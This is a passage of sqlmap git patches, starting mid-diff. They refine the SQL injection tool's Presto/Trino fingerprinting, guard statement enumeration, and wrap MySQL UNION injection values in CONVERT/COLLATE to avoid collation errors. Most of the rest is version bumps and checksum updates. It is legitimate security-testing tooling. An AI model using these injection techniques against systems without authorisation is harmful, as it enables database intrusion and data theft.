a/plugins/dbms/presto/enumeration.py b/plugins/dbms/presto/enumeration.py index aad5d4bca..5843d9e52 100644 --- a/plugins/dbms/presto/enumeration.py +++ b/plugins/dbms/presto/enumeration.py @@ -9,15 +9,8 @@ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def getBanner(self): - warnMsg = "on Presto it is not possible to get the banner" - logger.warning(warnMsg) - - return None - - def getCurrentDb(self): - warnMsg = "on Presto it is not possible to get name of the current database (schema)" - logger.warning(warnMsg) + # NOTE: getBanner()/getCurrentDb() are intentionally NOT overridden - modern Presto/Trino expose + # version() and current_schema (wired in queries.xml), so the generic implementations work. def isDba(self, user=None): warnMsg = "on Presto it is not possible to test if current user is DBA" diff --git a/plugins/dbms/presto/fingerprint.py b/plugins/dbms/presto/fingerprint.py index fdc5b7968..4b6cd9e8b 100644 --- a/plugins/dbms/presto/fingerprint.py +++ b/plugins/dbms/presto/fingerprint.py @@ -7,10 +7,14 @@ See the file 'LICENSE' for copying permission from lib.core.common import Backend from lib.core.common import Format +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS from lib.core.session import setDbms from lib.core.settings import PRESTO_ALIASES from lib.request import inject @@ -21,6 +25,18 @@ class Fingerprint(GenericFingerprint): GenericFingerprint.__init__(self, DBMS.PRESTO) def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + # Trino (the PrestoSQL fork) exposes functions PrestoDB never added (e.g. SOUNDEX), + # so a NULL-based probe on one of them distinguishes the fork from the original. + if inject.checkBooleanExpression("SOUNDEX(NULL) IS NULL"): + fork = FORK.TRINO + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) @@ -37,6 +53,8 @@ class Fingerprint(GenericFingerprint): if not conf.extensiveFp: value += DBMS.PRESTO + if fork: + value += " (%s fork)" % fork return value actVer = Format.getDbms() @@ -55,6 +73,9 @@ class Fingerprint(GenericFingerprint): if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + return value def checkDbms(self): From d5d6fac58d785281cef9482b29d2ae4bf777cd4a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 19 Jun 2026 09:45:25 +0200 Subject: [PATCH 030/165] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- plugins/generic/databases.py | 5 +++++ 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 993c89b1d..031f81732 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -25506d477075d1a33849a4db1058e1fb0cc98100e714c1afa0e7e98cad2f2901 lib/core/settings.py +6931bc15cb35d138913beb2ecca2432821b7d128e95f0db58ab99e32e24259dc lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -480,7 +480,7 @@ e2e20e4707abe9ed8b6208837332d2daa4eaca282f847412063f2484dcca8fbd plugins/dbms/v 2b2dad6ba1d344215cad11b629546eb9f259d7c996c202edf3de5ab22418787e plugins/dbms/virtuoso/takeover.py 51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc plugins/generic/connector.py a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3 plugins/generic/custom.py -6d037861acbbabec529e10c50840820ca7b876c29c69310a571b519c3f3b72fa plugins/generic/databases.py +020f0f828121fe03704fdef241364ffd33c5dce1e5d04028bc7375b4563c3696 plugins/generic/databases.py 36b7319ac00f8fe1a33496364a76ff165ea2e66db0150f5366a45135366369ca plugins/generic/entries.py d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py a02ac4ebc1cc488a2aa5ae07e6d0c3d5064e99ded7fd529dfa073735692f11df plugins/generic/filesystem.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 85bb46107..12a42e3ee 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.124" +VERSION = "1.10.6.125" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index bae73904c..d3eef7ea3 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -1051,6 +1051,11 @@ class Databases(object): rootQuery = queries[Backend.getIdentifiedDbms()].statements + if "inband" not in rootQuery and "blind" not in rootQuery: + warnMsg = "on %s it is not possible to enumerate the SQL statements" % Backend.getIdentifiedDbms() + logger.warning(warnMsg) + return kb.data.cachedStatements + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): query = rootQuery.inband.query2 From 824ef464e1823beb165313a0668dc00d2ebd5927 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 19 Jun 2026 12:11:28 +0200 Subject: [PATCH 031/165] Fixing issues with UNION and COLLATE on MySQL --- data/txt/sha256sums.txt | 8 ++++---- lib/core/agent.py | 21 ++++++++++++++++++--- lib/core/settings.py | 5 ++++- lib/techniques/union/test.py | 6 +++--- lib/techniques/union/use.py | 4 ++-- 5 files changed, 31 insertions(+), 13 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 031f81732..7d63eb0e0 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -166,7 +166,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 96463b969312bd4fd29452b5fc739f33e5a73f81fdc1ef80ac27debbe9926e42 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py -1d7ed24bc41b9b73d7483a41c8b9162e95c7c027b1d07e52904c75fcad42fcfd lib/core/agent.py +9da83429449d78797c18bb79ff425aa1eddf5b26b9987d25d042eb0998053675 lib/core/agent.py 12d0f1f28796b6fbf5629a3fd335b4098eac0583f832d1aa650efa22bf52e782 lib/core/bigarray.py f3725380a33c370c263516863d8e2bf3582f0ea6e37d45df8c176aa62ade19a1 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -6931bc15cb35d138913beb2ecca2432821b7d128e95f0db58ab99e32e24259dc lib/core/settings.py +317075c57f444f34b9f4b913a0754b3ffc48e477593f0ecd29ad462ccecd6401 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -240,8 +240,8 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 5bbef46c16e34fd80e3f9f0e9aa255ce2e39be0d0e57479e25890b041c7efc7d lib/techniques/error/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py -30cae858e2a5a75b40854399f65ad074e6bb808d56d5ee66b94d4002dc6e101b lib/techniques/union/test.py -0a9d884d95734986a628e5846ed85c985a96534fb0c56f9d7042a89377801bc2 lib/techniques/union/use.py +ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py +9d916ad5d61f9ce467a5ff4b416e61b8ad76d1d950fdd06f23f70a6f7f941a1c lib/techniques/union/use.py aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py diff --git a/lib/core/agent.py b/lib/core/agent.py index 67b5d8857..bc0d1ed01 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -51,6 +51,7 @@ from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import GENERIC_SQL_COMMENT from lib.core.settings import GENERIC_SQL_COMMENT_MARKER from lib.core.settings import INFERENCE_MARKER +from lib.core.settings import MYSQL_UNION_VALUE_CAST from lib.core.settings import NULL from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import REPLACEMENT_MARKER @@ -825,7 +826,7 @@ class Agent(object): return concatenatedQuery - def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None): + def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None, collate=False): """ Take in input a query (pseudo query) string and return its processed UNION ALL SELECT query. @@ -867,10 +868,21 @@ class Agent(object): if query.startswith("SELECT "): query = query[len("SELECT "):] + # On MySQL 8+ the retrieved value (connection collation) cannot be merged in a + # UNION column with a table column of a different collation (e.g. utf8mb4_0900_ai_ci), + # raising "Illegal mix of collations". Normalizing the charset and forcing an explicit + # collation (highest coercibility) wins the merge (Note: skipped for NULL/numeric values). + # Note: requires the utf8mb4 charset (MySQL >= 5.5.3) used in MYSQL_UNION_VALUE_CAST; on + # older versions there is no such collation clash to begin with (unknown version => assumed recent). + collateField = collate and Backend.isDbms(DBMS.MYSQL) and isDBMSVersionAtLeast('5.5.3') is not False + + def _collate(value): + return MYSQL_UNION_VALUE_CAST % value if collateField and value and value != NULL and not value.isdigit() else value + unionQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix) if limited: - unionQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count)) + unionQuery += ','.join(char if _ != position else _collate('(SELECT %s)' % query) for _ in xrange(0, count)) unionQuery += fromTable unionQuery = self.suffixQuery(unionQuery, comment, suffix) @@ -900,6 +912,9 @@ class Agent(object): else: infoFile = None + if not infoFile: + query = _collate(query) + for element in xrange(0, count): if element > 0: unionQuery += ',' @@ -928,7 +943,7 @@ class Agent(object): unionQuery += ',' if element == position: - unionQuery += multipleUnions + unionQuery += _collate(multipleUnions) else: unionQuery += char diff --git a/lib/core/settings.py b/lib/core/settings.py index 12a42e3ee..d01875d09 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.125" +VERSION = "1.10.6.126" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -511,6 +511,9 @@ SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", " # Maximum number of threads (avoiding connection issues and/or DoS) MAX_NUMBER_OF_THREADS = 10 +# Wrapper applied to MySQL UNION-based retrieval values to neutralize "Illegal mix of collations" errors (e.g. utf8mb4_0900_ai_ci tables vs a utf8mb4_general_ci connection on MySQL 8+). CONVERT normalizes the (possibly binary) charset to utf8mb4 and the explicit COLLATE then wins the UNION column merge (highest coercibility) +MYSQL_UNION_VALUE_CAST = "CONVERT(%s USING utf8mb4) COLLATE utf8mb4_bin" + # Minimum range between minimum and maximum of statistical set MIN_STATISTICAL_RANGE = 0.01 diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index d5e8a44df..0a8facf78 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -235,7 +235,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO randQueryUnescaped = unescaper.escape(randQueryProcessed) # Forge the union SQL injection request - query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where) + query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, collate=True) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request @@ -255,7 +255,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO randQueryUnescaped2 = unescaper.escape(randQueryProcessed2) # Confirm that it is a full union SQL injection - query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2) + query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2, collate=True) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request @@ -268,7 +268,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr()) # Check for limited row output - query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable) + query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable, collate=True) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index bb008579f..46f068761 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -84,12 +84,12 @@ def _oneShotUnionUse(expression, unpack=True, limited=False): except IndexError: pass - query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) + query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited, collate=True) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6] else: injExpression = unescaper.escape(expression) where = vector[6] - query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False) + query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False, collate=True) payload = agent.payload(newValue=query, where=where) From 2aed8d1513e11b9973c4f3f911cd935b51886cb3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 19 Jun 2026 23:59:52 +0200 Subject: [PATCH 032/165] Minor doctest fix --- data/txt/sha256sums.txt | 24 ++++++++++++------------ lib/core/common.py | 2 +- lib/core/settings.py | 8 +++++++- 3 files changed, 20 insertions(+), 14 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 7d63eb0e0..86ca69ea7 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -78,13 +78,13 @@ e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banne 3a440fbbf8adffbe6f570978e96657da2750c76043f8e88a2c269fe9a190778c data/xml/banner/x-powered-by.xml a32fc8796082d2e45cfc969f0b45ad476bf87a8515d67b2fed77c5058df5a0f5 data/xml/boundaries.xml 0baf0fade74d4ad294ee88ef306743da0c6a4631b8d640708809103ef9cf63ed data/xml/errors.xml -d0b094a110bccec97d50037cc51445191561c0722ec53bf2cebe1521786e2451 data/xml/payloads/boolean_blind.xml -2da9159c066c66b47767f66e8c46ed94394f9511940c32e6adf454126197443b data/xml/payloads/error_based.xml +43910a73d7de51e3541bfe4bdffe8923c73b0fbd74300912d4cec95d4f728673 data/xml/payloads/boolean_blind.xml +a65b6e29389b1543f54da6aced3ca4abdcd68cb626ceefc61fb9985bda692251 data/xml/payloads/error_based.xml 516a2ff314bba3ecf65d0371bf8c2654ad79b09c0737b1fe0f178d7885a9508d data/xml/payloads/inline_query.xml 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -f01093d5a1ff6a58653e7058a93e15801d9446f1f2c5de5b5d1054f17dd1ad44 data/xml/queries.xml +ff368554d3320ffa50751e32c903aeec21221f351f3efa573a211081947f69e8 data/xml/queries.xml e043101194219a2e4c8bc352f0d3a04b87e1c28b1bcd6c13f6d5d1c9e260b653 doc/ARCHITECTURE.md 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md @@ -168,7 +168,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9da83429449d78797c18bb79ff425aa1eddf5b26b9987d25d042eb0998053675 lib/core/agent.py 12d0f1f28796b6fbf5629a3fd335b4098eac0583f832d1aa650efa22bf52e782 lib/core/bigarray.py -f3725380a33c370c263516863d8e2bf3582f0ea6e37d45df8c176aa62ade19a1 lib/core/common.py +c6dee43458e55d4e20bbd04a63efd4cbe839f3fce1d60de2673d85462d0718bd lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -181,26 +181,26 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -96d54c79a2982709ba5639bc997c76db700e85c7fdcb474cedb490132f7ae5ad lib/core/optiondict.py -8084a0efe82bf3d3ff98f988bc6227d72ca015ac665afee9a8afc09afac2be52 lib/core/option.py +31690232f12d0590c8cbea7245ded86875f63c078da99673af4ab7451f0fffcb lib/core/optiondict.py +21b6868afc4570c9d2265427b7ea5fe8ac2e062ead3760ca3494208fde5f5e52 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -317075c57f444f34b9f4b913a0754b3ffc48e477593f0ecd29ad462ccecd6401 lib/core/settings.py +a79daf5b4b19e731256b73f6797237f8948f5c8aa5683879f293783521c64f6b lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py -a43da1fc59cbc48698db34dc3516967910c84ef5945cf5423c2954acd54fe898 lib/core/testing.py +2eb9e51bf6ecdc0f4aab4e0b4e2ba14bc5edaa04dbc6b9588e4ece6fc8483f3d lib/core/testing.py e3e653364d08d04d7492aa40a2bd29c6a28f4d78fecdd6c10f21f6cb28b98b4c lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -8c18ec0dc54dd313033408d7f55556d2068dbbafd9dd92a759d770843a680fd9 lib/parse/cmdline.py +18845fd56a87e02cdd847526185e500b6cb1f26a272c368b862217466b98db16 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -231,7 +231,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 0787f78e6bd9bb21d4267c95c4c99806711bb57c5518485c2e25f10fcf9c41fc lib/takeover/udf.py 23d73af417604dab460b74cdc230896153f018a6c00d144019491053640a172f lib/takeover/web.py 8cc1e226d4150fe8aa1a056e5d32d858ed6444d3d4e2af7fb4bc08f0bbe9d527 lib/takeover/xp_cmdshell.py -42368a281d4d6f1571da95f2fb67afc43696ecdb6cad9720a178461f861b4fcd lib/techniques/blind/inference.py +4dcc79ef8c6af69d9890f16e06cacad70c2e657770d8afca0e425833cd780f08 lib/techniques/blind/inference.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/blind/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/dns/__init__.py 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1 lib/techniques/dns/test.py @@ -253,7 +253,7 @@ a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps 0cd3860c03e39bacd1d0fe4cf1a0c605de48ff82f70441319f21d47e38e7e3a9 lib/utils/hashdb.py 71a66ff766a2921106770b26acff380de469222dc893816a7b970b384c927666 lib/utils/hash.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py -e7d31de0e268c129ee11c590eb618f73a85e1022c08b8ed1f77753043c949214 lib/utils/pivotdumptable.py +04b28ad98340a589eb9b21d014c435e8193c2bea3a21af9875b6f23c9b270f1f lib/utils/pivotdumptable.py c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/progress.py c442e9ef8324fd6fdf7bc334d765f0a6ce4037397eb3d79d59b5ce3e9a043855 lib/utils/prove.py 2cd84db16edef8c9948e197a51d870cf1c338f4a89037b4d422de990f4a45237 lib/utils/purge.py @@ -481,7 +481,7 @@ e2e20e4707abe9ed8b6208837332d2daa4eaca282f847412063f2484dcca8fbd plugins/dbms/v 51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc plugins/generic/connector.py a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3 plugins/generic/custom.py 020f0f828121fe03704fdef241364ffd33c5dce1e5d04028bc7375b4563c3696 plugins/generic/databases.py -36b7319ac00f8fe1a33496364a76ff165ea2e66db0150f5366a45135366369ca plugins/generic/entries.py +13086bfae6022edc2bbd35512fa3bda3402c269e9d6148ffe386ba5b8b4ba461 plugins/generic/entries.py d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py a02ac4ebc1cc488a2aa5ae07e6d0c3d5064e99ded7fd529dfa073735692f11df plugins/generic/filesystem.py efd7177218288f32881b69a7ba3d667dc9178f1009c06a3e1dd4f4a4ee6980db plugins/generic/fingerprint.py diff --git a/lib/core/common.py b/lib/core/common.py index 2d4c7bc51..3e1176bf9 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2077,7 +2077,7 @@ def getFileType(filePath): """ Returns "magic" file type for given file path - >>> getFileType(__file__) + >>> getFileType(paths.SQL_KEYWORDS) 'text' >>> getFileType(sys.executable) 'binary' diff --git a/lib/core/settings.py b/lib/core/settings.py index d01875d09..872c2aa4f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.126" +VERSION = "1.10.6.127" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -514,6 +514,12 @@ MAX_NUMBER_OF_THREADS = 10 # Wrapper applied to MySQL UNION-based retrieval values to neutralize "Illegal mix of collations" errors (e.g. utf8mb4_0900_ai_ci tables vs a utf8mb4_general_ci connection on MySQL 8+). CONVERT normalizes the (possibly binary) charset to utf8mb4 and the explicit COLLATE then wins the UNION column merge (highest coercibility) MYSQL_UNION_VALUE_CAST = "CONVERT(%s USING utf8mb4) COLLATE utf8mb4_bin" +# Row count at/above which keyset (seek) pagination is used automatically for table dumps when a usable integer-key cursor exists (smaller tables keep the plain LIMIT/OFFSET path; '--keyset' forces it regardless of size) +KEYSET_MIN_ROWS = 1000 + +# Number of consecutive Huffman (set-membership) character attempts allowed to decline/escape without a single validated success before the technique latches itself off (safety against trimmed/blocked long IN() payloads) +HUFFMAN_PROBE_LIMIT = 8 + # Minimum range between minimum and maximum of statistical set MIN_STATISTICAL_RANGE = 0.01 From bbc49360c7c18c6a6d9de684068de22277d03e29 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 20 Jun 2026 00:00:06 +0200 Subject: [PATCH 033/165] Fixing several inaccurate payload titles --- data/txt/sha256sums.txt | 2 +- data/xml/payloads/boolean_blind.xml | 4 ++-- data/xml/payloads/error_based.xml | 2 +- lib/core/settings.py | 2 +- 4 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 86ca69ea7..b7f562c0d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -a79daf5b4b19e731256b73f6797237f8948f5c8aa5683879f293783521c64f6b lib/core/settings.py +e90183a7b5af8d5dd411cb74e3c24a9320b3194051a19abe0791fffae2b34fea lib/core/settings.py 